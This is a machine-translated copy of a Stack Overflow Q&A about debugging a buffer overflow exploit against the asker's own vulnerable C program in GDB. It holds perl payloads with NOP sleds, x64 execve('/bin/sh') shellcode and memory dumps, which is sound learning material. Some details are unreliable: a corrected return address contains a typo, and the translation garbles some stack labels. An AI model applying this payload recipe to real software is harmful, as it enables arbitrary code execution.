gpt4 book ai didi

c - 我正在尝试利用缓冲区溢出,我做错了什么吗?

转载 作者:太空狗 更新时间:2023-10-29 16:10:52 26 4
gpt4 key购买 nike

我正在尝试使用本教程执行缓冲区溢出攻击我帖子中的所有内容都将直接在 GDB 中执行。

https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/

这是我想利用缓冲区溢出的代码。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[256];

if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}

我目前正在使用 Linux mint 18,我有一个 64 位处理器。鉴于我有一个 64 位架构。每个地址都占 8 个字节。现在让我们想象一下我当前的 stakframe。


|浅黄色[256] |


|限制性商业惯例 |


|保存 RIP |


我的目标是用我的“nop sled”的地址覆盖“SAVE RIP”。鉴于我在 64 位架构上。我将用 256 + 8 个字符填充变量 buff。 8 字符将用于覆盖 RBP 指针。我将使用 perl 覆盖。

perl -e 'print "\x90"x 264'

然后使用我遵循的教程中提供的 shellcode

perl -e 'print "\x90"x (264 - 26) 。 “\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'

我减去 26,因为 shellcode 的长度是 26。

现在。我将使用 GDB 找出我的 nop sled 的地址。

   0x00000000004005f6 <+0>: push   rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <printf@plt>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <exit@plt>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <puts@plt>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret

我在 strcpy 函数之后添加了一个断点。我正在尝试使用

找出 sled nop 的开始
x/x $rsp

给我看

0x7fffffffde20: 0xffffe018

那我要做

x/s 0x7fffffffde20

然后按“Enter”直到找到我要查找的内容。

现在,第二个问题来了。我发现两个不同的地址似乎包含 nop sled

0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"

不知道该选哪个,我决定两个都试试。但是,假设我使用的是第一个,更准确地说是 0x7fffffffde30。 (不要忘记带字节序的车)。

我将尝试使用以下命令行执行我的代码:

(gdb) run  `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`

然后我验证 RIP 是否被所需地址正确覆盖。

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)

并且我们可以看到保存的RIP已经成功的被期望的地址覆盖了。现在的主要问题是当我在没有打开任何 shell 的情况下按“继续”我的程序段错误时。我完全按照教程中的解释进行操作,所以任何人都可以解释我:

-为什么当我在缓冲区中写入 263 字节时出现段错误?当我覆盖“保存 RIP”时,程序可能会出现段错误,RBP 是否也一样?

-我找到了两个不同的地址,其中包含我的 nop sled,我应该选择哪个?

-最后,根据您的说法,我做错了什么或者看起来不合逻辑吗?我不知道为什么我的 exploit 会起作用,而且在互联网上没有发现其他人和我有同样的问题。

谢谢

我正在用这种方式编译

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack

编辑:

谢谢你的评论。我按照你告诉我的做了,但它仍然是段错误。

你好@russtone。

谢谢你的回答,我按照你告诉我的做了,但它仍然是段错误。

`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00

===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

我使用这个地址时不会忘记字节顺序。

"0x7fffffffdc80"

哪个给我

"\x80\xdc\xff\xff\xff\x7f"

所以GDB中最后的命令是

(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`

然后

continue

显示

Continuing. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�WW^ZH�//bin/shH�WT_j;X�����

Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd80 in ?? ()

谢谢

最佳答案

Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?

在您的示例中,当程序试图访问不属于它的地址 0x30deffffff7f 处的内存时,就会发生段错误。你想用 0x7fffffffde30 而不是 0x30deffffff7f 覆盖 RIP,但你传递了错误的负载。因为你有 little-endian负载中的架构而不是:

... "\x7f\xff\xff\xff\xde\x30"

你需要通过:

... "\x30\xde\xff\xff\xff\x7e"

我也不确定你的 shellcode 地址是 0x7fffffffde30 因为 x/s $rsp 不是了解它的最佳方式。最好使用类似的东西:

(gdb) x/300bx $rsp
0x7fffffffd220: 0x18 0xd4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd228: 0xf6 0x77 0xde 0xf7 0x02 0x00 0x00 0x00
0x7fffffffd230: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd238: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd240: 0x90 0x90 0x90 0x90 0x48 0x31 0xff 0x57
0x7fffffffd248: 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62
0x7fffffffd250: 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef
0x7fffffffd258: 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f
0x7fffffffd260: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd268: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd270: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd278: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd280: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd288: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd290: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd298: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd338: 0x40 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd340: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd348: 0x18 0xd4 0xff 0xff

在上面的例子中,shelcode 是 "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" 和它的地址可以类似于 0x7fffffffd240

I found out two different address which contain my nop sled, which one have I to choose ?

您找到的第一个地址是缓冲区 char buff[256],第二个地址是 argv[1]。类 Unix 系统将 argv 放在堆栈上,因此在您的示例中选择哪个并不重要。但通常(对于任何操作系统)您需要使用 char buff[256] 的地址。

And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.

我上面已经提到的第一件事是endianness .你有小端机器所以你需要传递 \x30\xde\xff\xff\xff\x7e 而不是 \x7f\xff\xff\xff\xde\x30.

第二件事是你的shellcode。您正在使用 x86 程序示例中的 shellcode,但您需要 x64 的 shellcode。你可以使用这样的东西:

SECTION .text
global _start
_start:
xor rdi, rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f2f ; hs/nib//
shr rdi, 8 ; \x00hs/nib/
push rdi
push rsp
pop rdi
push 0x3b ; execve
pop rax
syscall

在字节码中将是:

"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

希望这对您有所帮助。祝你好运!

更新

好的,现在您覆盖了 rip,并且根据 gdb 的输出,您成功跳转到了正确的地址。

现在的问题是您的 shell 代码太接近缓冲区边界了。

这样你就得到了图片:

Stack layout

然后在 main 函数的末尾执行命令

leave
ret

你跳转到了 addr_1rsp = addr_2 + 8(在 leave 之后,即 mov rsp, rbp; pop rbp)。但是在 shell 代码的开头,您可以看到 2 个 push 指令在执行之后 $rsp = addr_2 + 8 - 16 = addr_2 - 8。但是 addr_2 - 8 是你的 shell 代码的最后 8 个字节!因此,您的 shell 代码会 self 覆盖,您会遇到段错误。

为避免这种情况,您可以将 shell 代码放在 buf 中间的某个位置:

(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`

关于c - 我正在尝试利用缓冲区溢出,我做错了什么吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38416045/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com